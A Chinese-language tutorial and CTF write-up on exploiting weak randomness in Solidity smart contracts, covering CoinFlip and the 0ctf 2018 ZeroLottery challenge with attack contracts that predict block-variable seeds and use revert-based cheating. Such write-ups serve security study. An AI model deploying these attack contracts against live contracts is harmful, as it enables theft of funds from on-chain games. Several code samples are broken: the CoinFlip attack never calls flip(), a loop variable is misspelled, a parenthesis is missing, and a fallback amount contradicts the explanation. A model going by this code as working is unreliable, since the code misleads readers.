Randomness
使用私有变量的伪随机数
原理
合约使用外界未知的私有变量参与随机数生成。无法通过另一合约访问,但是变量储存进 storage 之后仍然是公开的。我们可以使用区块链浏览器(如 etherscan)观察 storage 变动情况,或者计算变量储存的位置并使用 Web3 的 api 获得私有变量值,然后计算得到随机数。
外部参与的随机数
原理
随机数由其他服务端生成。为了确保公平,服务端会先将随机数或者其种子的哈希写入合约中,然后待用户操作之后再公布哈希对应的明文值。由于明文空间有 256 位,这样的随机数生成方法相对安全。但是在明文揭露时,我们可以在状态为 pending 的交易中找到明文数据,并以更高的 gas 抢在之前完成交易确认。
使用区块变量的伪随机数
原理
EVM 有五个字节码可以获取当前区块的变量,包括 coinbase、timestamp、number、difficulty、gaslimit。
我们也可以编写攻击合约,在攻击合约中获取到相同的区块变量值,进一步用相同的算法得到随机数值。
例子
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
- 代码处理流程为:
- 获得上一块的 hash 值( uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));)
- 判断与之前保存的 hash 值是否相等,相等则会退(if (lastHash == blockValue) {revert();})
- 根据 blockValue/FACTOR 的值判断为正或负,即通过 hash 的首位判断(bool side = coinFlip == 1 ? true : false;)
如果使用可以被挖矿的矿工所控制的变量,如区块哈希值,时间戳,区块高低或是 Gas 上限等作为随机数的熵源,产生的随机数并不安全。
所以Attack
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
contract Hack{
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
address instance=add;
CoinFlip c=CoinFlip(instance);
function attack(){
uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
}
}
调用10次 attack() 即可。
使用 Blockhash 的伪随机数
原理
Blockhash 是一个特殊的区块变量,EVM 只能获取到当前区块之前的 256 个区块的 blockhash (不含当前区块),对于这 256 个之外的区块返回 0。使用 blockhash 可能存在几种问题。
- 误用,如
block.blockhash(block.number)
恒为零。 - 使用过去区块的有效 blockhash ,可以编写攻击合约获取相同值。
- 将猜数字和开奖的交易分开在两个不同区块中,并且使用猜数字时还不知道的某个区块的 blockhash 作为熵源,则可以等待 256 个区块后再进行开奖,消除 blockhash 的不确定性。
回滚攻击
原理
在某些情况下,获取随机数可能过于困难或繁琐,这时可以考虑使用回滚攻击。回滚攻击的思想很简单:完全碰运气,输了就 “耍赖”,通过抛出异常使整个交易回滚不作数;赢的时候则不作处理,让交易被正常确认。
题目
0ctf final 2018 : ZeroLottery
Your goal is make your ZeroLottery’s balance > 500. After that, you can get the flag at http://192.168.201.18:5000/flag?wallet= page.
pragma solidity ^0.4.21;
contract ZeroLottery {
struct SeedComponents {
uint component1;
uint component2;
uint component3;
uint component4;
}
uint private base = 8;
address private owner;
mapping (address => uint256) public balanceOf;
function ZeroLottery() public {
owner = msg.sender;
}
function init() public payable {
balanceOf[msg.sender] = 100;
}
function seed(SeedComponents components) internal pure returns (uint) {
uint secretSeed = uint256(keccak256(
components.component1,
components.component2,
components.component3,
components.component4
));
return secretSeed;
}
function bet(uint guess) public payable {
require(msg.value>1 ether);
require(balanceOf[msg.sender] > 0);
uint secretSeed = seed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp));
uint n = uint(keccak256(uint(msg.sender), secretSeed)) % base;
if (guess != n) {
balanceOf[msg.sender] = 0;
// charge 0.5 ether for failure
msg.sender.transfer(msg.value - 0.5 ether);
return;
}
// charge 1 ether for success
msg.sender.transfer(msg.value - 1 ether);
balanceOf[msg.sender] = balanceOf[msg.sender] + 100;
}
function paolu() public payable {
require(msg.sender == owner);
selfdestruct(owner);
}
}
分析:
ZeroLottery() 定义owner;
init() 初始化余额为100;
seed() 定义生成随机数函数;
bet() 进行下注,猜对了扣除0.5,余额清零;猜对了扣除1 ether,余额加上100;
paolu() 用来销毁合约,只能合约的拥有者能调用;
本题的目标是余额为500代币。
EXP1
伪随机数攻击
block.coinbase, block.difficulty, block.gaslimit, block.timestamp来产生seed,因此区块变量是可以在本地计算出来的。
由于进行转账操作需要在攻击合约设置fallback函数
pragma solidity ^0.4.21;
contract Attack {
uint private base = 8;
address owner;
address targetAddr = 0xadd;
constructor() payable{
owner=msg.sender;
targetAddr.call(bytes4(keccak256("init()")));
}//传6eth
function() payable external{
}
function hack() public {
uint secretSeed = uint256(keccak256(
(uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp
));
uint n = uint(keccak256(uint(this), secretSeed)) % base;
targetAddr.call.value(1.2 ether)(bytes4(keccak256("bet(uint256)")),n);
}
function paolu() public payable {
selfdestruct(owner);
}
function init() public {
targetAddr.call(bytes4(keccak256("init()")));
}
}
如果要求传的钱>1 ether,而且猜完最多会退1ether,因此相当于一定会退钱回我们的攻击合约,攻击五次即可。
EXP2
回滚攻击
function guess() public {
task.bet.value(2 ether)(1);
}
function () public payable {
require(msg.value != 1.5 ether);
}
//既然想要猜对,那么fallback函数必须要收到1.5ETH,我们可以设定一个固定的数进行尝试。
同样可以利用循环:
pragma solidity ^0.4.21;
contract Attack {
address addr = 0x21106c363469FA680115096c2Ae757B4586C2a75;
address owner;
constructor() payable {
owner = msg.sender;
addr.call(bytes4(keccak256("init()")));
}
function() payable external {
require(msg.value ==0.2 ether );
}
function hack(){
for(uint conut=0;count<5;count++){
for(uint n=0;n<8;n++){
addr.call.value(1.2 ether (bytes4(keccak256("bet(uint256)")),n);
}
}
}
function kill() public {
require(owner==msg.sender);
selfdestruct(owner);
}
}
既然是失败是扣0.5,成功扣1eth,那么如果回退的钱数与失败的一样,那么就抛出异常。